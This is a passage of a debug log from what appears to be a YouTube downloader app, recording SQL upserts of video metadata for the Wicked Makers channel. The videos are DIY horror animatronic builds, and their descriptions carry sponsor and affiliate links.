our door locks, security cameras, and lights! We even worked with the developer of the game, Mob Entertainment and his original voice actor.\n\n#TheDoctor\n#PoppyPlaytime\n#Animatronics", "We made The DOCTOR to Protect our House!", "IC1Hy_pnKT0", "https://www.youtube.com/watch?v=IC1Hy_pnKT0", 35, 1594, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e061300 - We made The DOCTOR to Protect our House!.mp4", false, ~U[2025-06-13 17:44:01Z]] 13:42:45.870 [debug] QUERY OK source="sources" db=0.4ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:45.871 [debug] QUERY OK source="media_items" db=0.4ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-28 19:37:17Z], 35] 13:42:45.872 [debug] QUERY OK source="media_items" db=1.0ms idle=3.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real YARNABY animatronic and test if it's strong enough to actually EAT a person!!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nGgreg Chaille ►https://x.com/gregchaille\nBeardless Props ► https://instagram.com/beardlessprops\nDERAILED3D ► https://youtube.com/DERAILED3D\nPurgatory Props ► https://purgatoryprops.com\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real Yarnaby animatronic from Poppy Playtime—and then made it strong enough to eat a person. In true Wicked Makers fashion, we didn’t stop at scary… we cranked it up to horrifying. Using steel, pneumatics, and a whole lot of trial and error, we created a terrifying DIY Halloween animatronic and then tested its bite strength with a ballistic gel arm to see if Yarnaby could really take a chunk out of someone. Spoiler: it got messy. If you're into DIY Halloween props, animatronic builds, or just love ridiculous horror props, you're going to love this chaotic creation.\n\nThis video is packed with behind-the-scenes madness, prop-making tips, and a full breakdown of how we built Yarnaby from scratch. Whether you're making your own haunted house props, dreaming up Halloween decor, or just love creepy DIY animatronics, this is the ultimate Poppy Playtime build for the spooky season. And if you love mascot horror, we’ve got a ton more custom animatronics from FNAF, Poppy Playtime, and even The Walten Files on our channel. Subscribe for more Wicked DIY horror projects and join Jay and Jaimie as we test the limits of what a homemade Halloween animatronic can actually do. Stay Wicked!\n\n#Yarnaby\n#PoppyPlaytime\n#Animatronics", "We made a real YARNABY Animatronic (that can eat people)", "f2fafe8c-359a-49bb-bba3-a4f23224c4f0", "Vn8F67pCAlk", false, "https://www.youtube.com/watch?v=Vn8F67pCAlk", 35, [], 1690, false, 10, "/downloads/shows/Wicked Makers/Season 2025/s2025e032800 - We made a real YARNABY Animatronic (that can eat people).mp4", false, false, 98, ~U[2025-03-28 19:37:17Z], ~U[2026-06-03 17:42:45Z], ~U[2026-06-03 17:42:45Z], "Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real YARNABY animatronic and test if it's strong enough to actually EAT a person!!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nGgreg Chaille ►https://x.com/gregchaille\nBeardless Props ► https://instagram.com/beardlessprops\nDERAILED3D ► https://youtube.com/DERAILED3D\nPurgatory Props ► https://purgatoryprops.com\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real Yarnaby animatronic from Poppy Playtime—and then made it strong enough to eat a person. In true Wicked Makers fashion, we didn’t stop at scary… we cranked it up to horrifying. Using steel, pneumatics, and a whole lot of trial and error, we created a terrifying DIY Halloween animatronic and then tested its bite strength with a ballistic gel arm to see if Yarnaby could really take a chunk out of someone. Spoiler: it got messy. If you're into DIY Halloween props, animatronic builds, or just love ridiculous horror props, you're going to love this chaotic creation.\n\nThis video is packed with behind-the-scenes madness, prop-making tips, and a full breakdown of how we built Yarnaby from scratch. Whether you're making your own haunted house props, dreaming up Halloween decor, or just love creepy DIY animatronics, this is the ultimate Poppy Playtime build for the spooky season. And if you love mascot horror, we’ve got a ton more custom animatronics from FNAF, Poppy Playtime, and even The Walten Files on our channel. Subscribe for more Wicked DIY horror projects and join Jay and Jaimie as we test the limits of what a homemade Halloween animatronic can actually do. Stay Wicked!\n\n#Yarnaby\n#PoppyPlaytime\n#Animatronics", "We made a real YARNABY Animatronic (that can eat people)", "Vn8F67pCAlk", "https://www.youtube.com/watch?v=Vn8F67pCAlk", 35, 1690, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e032800 - We made a real YARNABY Animatronic (that can eat people).mp4", false, ~U[2025-03-28 19:37:17Z]] 13:42:45.873 [debug] QUERY OK source="sources" db=0.3ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:45.873 [debug] QUERY OK source="media_items" db=0.3ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-27 21:06:35Z], 35] 13:42:45.875 [debug] QUERY OK source="media_items" db=1.2ms idle=3.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real ENNARD animatronic and survive the night with it!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn and @BeardlessProps!\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nOur Favorite 3D Printing Filament ► https://collabs.shop/llx8l1\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nWe turned Ennard from Five Nights at Freddy’s into a fully functional DIY Halloween animatronic, and then we survived the night with it in our bedroom! This chaotic challenge was packed with late nights, over 500 ft of wire loom conduit, and more hot glue than we care to admit. If you're looking for creepy Halloween ideas, over-the-top DIY Halloween props, or just want to see what happens when two horror-obsessed makers (Jay and Jaimie from Wicked Makers) go all-in on their scariest animatronic makeover yet — this one's for you. It’s a FNAF-inspired horror prop with major Halloween decor vibes, and the end result is one of the creepiest animatronics we’ve ever made!\n\nWhether you're decorating your haunted house, building your own Halloween FNAF animatronics, or just love horror props from Poppy Playtime, FNAF, or anything spooky—this project is filled with inspiration. We’ll walk you through the full build process, share tips for working with foam, servo motors, LEDs, and how to make terrifying DIY Halloween decorations. Subscribe for more Wicked DIY builds and join us in making Halloween year round!\n\nStay Wicked!\n\n\n#FNAF\n#Animatronics\n#FiveNightsAtFreddys", "Surviving Overnight with a real ENNARD Animatronic!", "6045af0a-d01b-4d3a-bd5f-8e107f6614f8", "c0z4AD7VA4Y", false, "https://www.youtube.com/watch?v=c0z4AD7VA4Y", 35, [], 1071, false, 11, "/downloads/shows/Wicked Makers/Season 2025/s2025e022700 - Surviving Overnight with a real ENNARD Animatronic!.mp4", false, false, 98, ~U[2025-02-27 21:06:35Z], ~U[2026-06-03 17:42:45Z], ~U[2026-06-03 17:42:45Z], "Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real ENNARD animatronic and survive the night with it!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn and @BeardlessProps!\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nOur Favorite 3D Printing Filament ► https://collabs.shop/llx8l1\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nWe turned Ennard from Five Nights at Freddy’s into a fully functional DIY Halloween animatronic, and then we survived the night with it in our bedroom! This chaotic challenge was packed with late nights, over 500 ft of wire loom conduit, and more hot glue than we care to admit. If you're looking for creepy Halloween ideas, over-the-top DIY Halloween props, or just want to see what happens when two horror-obsessed makers (Jay and Jaimie from Wicked Makers) go all-in on their scariest animatronic makeover yet — this one's for you. It’s a FNAF-inspired horror prop with major Halloween decor vibes, and the end result is one of the creepiest animatronics we’ve ever made!\n\nWhether you're decorating your haunted house, building your own Halloween FNAF animatronics, or just love horror props from Poppy Playtime, FNAF, or anything spooky—this project is filled with inspiration. We’ll walk you through the full build process, share tips for working with foam, servo motors, LEDs, and how to make terrifying DIY Halloween decorations. Subscribe for more Wicked DIY builds and join us in making Halloween year round!\n\nStay Wicked!\n\n\n#FNAF\n#Animatronics\n#FiveNightsAtFreddys", "Surviving Overnight with a real ENNARD Animatronic!", "c0z4AD7VA4Y", "https://www.youtube.com/watch?v=c0z4AD7VA4Y", 35, 1071, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e022700 - Surviving Overnight with a real ENNARD Animatronic!.mp4", false, ~U[2025-02-27 21:06:35Z]] 13:42:45.875 [debug] QUERY OK source="sources" db=0.2ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:45.876 [debug] QUERY OK source="media_items" db=0.4ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-29 21:00:33Z], 35] 13:42:45.878 [debug] QUERY OK source="media_items" db=1.3ms idle=3.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. Jay and Jaimie build a Poppy Playtime Escape Room to trap their friends Evan and Katelyn! Will they make it out??\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport Our Videos: ► https://patreon.com/wickedmakers\n\nGet Poppy Playtime Chapter 4: ►https://huggywug.co/4hADvwL\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn!\n\nMATERIALS/STUFF WE USED ► \nBook of Bill - https://amzn.to/4eOHl3M\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nEVA Foam - https://amzn.to/4995bG0\nRope Light - https://amzn.to/3V6x3Vl\n3D Print Coating Resin - https://amzn.to/3B2MsPM\nAcrylic Paints - https://amzn.to/3ZoarT1\nSpackle - https://amzn.to/3ZqZQqw\nGorilla Glue - https://amzn.to/411Sk6A\nMicro Servos - https://amzn.to/4i5O6Rv\nSpeakers - https://amzn.to/3ZoNLlC\nXPS Foam - (Hardware Store)\nDrylok - (Hardware Store)\nMetal - (Hardware Store)\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nLast year we built a life-sized DogDay animatronic from Poppy Playtime. It was amazing and HUGE, but we had one problem - what do we do with it? He sat in a dark storage facility for a while (probably hiding from CatNap) until we heard that Poppy Playtime Chapter 4 was coming out and we got inspired. We wanted to make an interactive experience, like you were playing the game in real life, so we built a POPPY PLAYTIME Escape Room! Since Poppy Playtime has so many awesome puzzles, we decided an Escape Room would be perfect!\n\nWe built the rest of DogDay’s jail cell, filled it with puzzles, traps, and a few surprises, and invited our friends Evan and Katelyn to be our prisoners. With only 20 minutes, and DogDay to guide them, will they escape before time runs out? Let the games begin!\n\nWe had a ton of fun building our DogDay escape room. It was a great way to give a custom Halloween animatronic a life of its own. Let us know what you want us to build next!\n\nStay Wicked!\n❤️ Jaimie & Jay\n\n#DogDay\n#PoppyPlaytime\n#EscapeRoom", "Surviving Poppy Playtime In Real Life!", "09ffcd1c-2abf-46a0-b9e1-ac0e4d81ebdb", "nnGeD3NoThc", false, "https://www.youtube.com/watch?v=nnGeD3NoThc", 35, [], 1010, false, 12, "/downloads/shows/Wicked Makers/Season 2025/s2025e012900 - Surviving Poppy Playtime In Real Life!.mp4", false, false, 98, ~U[2025-01-29 21:00:33Z], ~U[2026-06-03 17:42:45Z], ~U[2026-06-03 17:42:45Z], "Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. Jay and Jaimie build a Poppy Playtime Escape Room to trap their friends Evan and Katelyn! Will they make it out??\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport Our Videos: ► https://patreon.com/wickedmakers\n\nGet Poppy Playtime Chapter 4: ►https://huggywug.co/4hADvwL\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn!\n\nMATERIALS/STUFF WE USED ► \nBook of Bill - https://amzn.to/4eOHl3M\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nEVA Foam - https://amzn.to/4995bG0\nRope Light - https://amzn.to/3V6x3Vl\n3D Print Coating Resin - https://amzn.to/3B2MsPM\nAcrylic Paints - https://amzn.to/3ZoarT1\nSpackle - https://amzn.to/3ZqZQqw\nGorilla Glue - https://amzn.to/411Sk6A\nMicro Servos - https://amzn.to/4i5O6Rv\nSpeakers - https://amzn.to/3ZoNLlC\nXPS Foam - (Hardware Store)\nDrylok - (Hardware Store)\nMetal - (Hardware Store)\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nLast year we built a life-sized DogDay animatronic from Poppy Playtime. It was amazing and HUGE, but we had one problem - what do we do with it? He sat in a dark storage facility for a while (probably hiding from CatNap) until we heard that Poppy Playtime Chapter 4 was coming out and we got inspired. We wanted to make an interactive experience, like you were playing the game in real life, so we built a POPPY PLAYTIME Escape Room! Since Poppy Playtime has so many awesome puzzles, we decided an Escape Room would be perfect!\n\nWe built the rest of DogDay’s jail cell, filled it with puzzles, traps, and a few surprises, and invited our friends Evan and Katelyn to be our prisoners. With only 20 minutes, and DogDay to guide them, will they escape before time runs out? Let the games begin!\n\nWe had a ton of fun building our DogDay escape room. It was a great way to give a custom Halloween animatronic a life of its own. Let us know what you want us to build next!\n\nStay Wicked!\n❤️ Jaimie & Jay\n\n#DogDay\n#PoppyPlaytime\n#EscapeRoom", "Surviving Poppy Playtime In Real Life!", "nnGeD3NoThc", "https://www.youtube.com/watch?v=nnGeD3NoThc", 35, 1010, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e012900 - Surviving Poppy Playtime In Real Life!.mp4", false, ~U[2025-01-29 21:00:33Z]] 13:42:45.878 [debug] QUERY OK source="sources" db=0.3ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:45.879 [debug] QUERY OK source="media_items" db=0.3ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-10 22:38:55Z], 35] 13:42:45.880 [debug] QUERY OK source="media_items" db=1.0ms idle=3.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make a real Shin Sonic animatronic from the The Sonic Tapes!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nDISCORD ► https://discord.gg/wickedmakers\n\nShin Sonic is a twisted, evil version of Sonic the Hedgehog created by Evanimas (https://www.youtube.com/@Evanimas2) for his analogue horror series “The Sonic Tapes”. As huge Sonic and horror fans, we knew we had to bring this cursed character to life.\n\nWe started with a Mickey Mouse Christmas animatronic, but his proportions were way off for Shin Sonic’s unnaturally long limbs. So, we took him apart and welded on custom extensions for his arms and legs. Next, we 3D modeled his head, complete with a massive, tooth-filled mouth featuring double rows of jagged teeth. After a week of 3D printing and painting, his head alone looked like something straight out of a nightmare (and weighed over 13 lbs!)\n\nTo shape his body, we used foam, pool noodles, and duct tape. Everything was then covered in Sonic’s iconic blue fur. Building this guy was a ton of work, but the end result is even more cursed and creepy than we imagined—and we absolutely love it.\n\nWe’re so excited to add Shin Sonic to our little family of DIY horror animatronics alongside Huggy Wuggy and Springtrap. What do you think of our real-life Shin Sonic? And who should we build next? Let us know in the comments and until next time.. Stay wicked! \n\n#ShinSonic \n#Animatronic\n#Sonic", "We made Shin Sonic real! (Animatronic)", "ad143e60-8939-456c-b1a5-32169105501d", "o6AiiIuTuQU", false, "https://www.youtube.com/watch?v=o6AiiIuTuQU", 35, [], 1321, false, 13, "/downloads/shows/Wicked Makers/Season 2025/s2025e011000 - We made Shin Sonic real! (Animatronic).mp4", false, false, 98, ~U[2025-01-10 22:38:55Z], ~U[2026-06-03 17:42:45Z], ~U[2026-06-03 17:42:45Z], "Jaimie and Jay make a real Shin Sonic animatronic from the The Sonic Tapes!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nDISCORD ► https://discord.gg/wickedmakers\n\nShin Sonic is a twisted, evil version of Sonic the Hedgehog created by Evanimas (https://www.youtube.com/@Evanimas2) for his analogue horror series “The Sonic Tapes”. As huge Sonic and horror fans, we knew we had to bring this cursed character to life.\n\nWe started with a Mickey Mouse Christmas animatronic, but his proportions were way off for Shin Sonic’s unnaturally long limbs. So, we took him apart and welded on custom extensions for his arms and legs. Next, we 3D modeled his head, complete with a massive, tooth-filled mouth featuring double rows of jagged teeth. After a week of 3D printing and painting, his head alone looked like something straight out of a nightmare (and weighed over 13 lbs!)\n\nTo shape his body, we used foam, pool noodles, and duct tape. Everything was then covered in Sonic’s iconic blue fur. Building this guy was a ton of work, but the end result is even more cursed and creepy than we imagined—and we absolutely love it.\n\nWe’re so excited to add Shin Sonic to our little family of DIY horror animatronics alongside Huggy Wuggy and Springtrap. What do you think of our real-life Shin Sonic? And who should we build next? Let us know in the comments and until next time.. Stay wicked! \n\n#ShinSonic \n#Animatronic\n#Sonic", "We made Shin Sonic real! (Animatronic)", "o6AiiIuTuQU", "https://www.youtube.com/watch?v=o6AiiIuTuQU", 35, 1321, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e011000 - We made Shin Sonic real! (Animatronic).mp4", false, ~U[2025-01-10 22:38:55Z]] 13:42:45.881 [debug] QUERY OK source="sources" db=0.2ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:45.881 [debug] QUERY OK source="media_items" db=0.3ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-27 20:56:17Z], 35] 13:42:45.883 [debug] QUERY OK source="media_items" db=1.3ms idle=3.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make a real Bill Cipher animatronic from Gravity Falls! 😱\nThe first 500 people to click our link will get a 1 MONTH FREE TRIAL of Skillshare! ► https://skl.sh/wickedmakers11241\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nGet Bill's Eye Mech (and more): ► https://patreon.com/wickedmakers\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nCheck out BOTTANGO (FREE) ► https://bottango.com\n\nMATERIALS/STUFF WE USED ► \nBook of Bill - https://amzn.to/4eOHl3M\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nEVA Foam - https://amzn.to/4995bG0\nRope Light - https://amzn.to/3V6x3Vl\n3D Print Coating Resin - https://amzn.to/3B2MsPM\nAcrylic Paints - https://amzn.to/3ZoarT1\nSpackle - https://amzn.to/3ZqZQqw\nGorilla Glue - https://amzn.to/411Sk6A\nMicro Servos - https://amzn.to/4i5O6Rv\nSpeakers - https://amzn.to/3ZoNLlC\nXPS Foam - (Hardware Store)\nDrylok - (Hardware Store)\nMetal - (Hardware Store)\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nWHO IS BILL CIPHER!!!!???!?!\nBill Cipher is an ancient nightmare triangle demon and the main villain of Disney’s Gravity Falls. Created by Alex Hirsch, Bill is a demon of pure chaos, and we love him.\n\nTo start, we carved Bill’s body out of XPS foam. We welded together his base and frame to give us a secure mount for all of the servos and electronics. His eye and eyelid were 3D printed. Everything was given a coat of DryLok to give it a stone texture and then painted. We put on the finishing touches like his hat & bowtie, added in some speakers, and then Jay did his best Bill impersonation for his voice lines. We then programmed his animation with the help of Bottango and brought him to life.\n\nWe are so happy with how Bill Cipher turned out! He looks around, floats, blinks, and even insults you. If you want to see more of our DIY animatronic horror characters, check out our Ink Demon from Bendy and Foxy from FNAF! And let us know who you want to see us build next!\n\nRemember! Reality's an illusion, the universe is a hologram, buy gold, and stay Wicked! 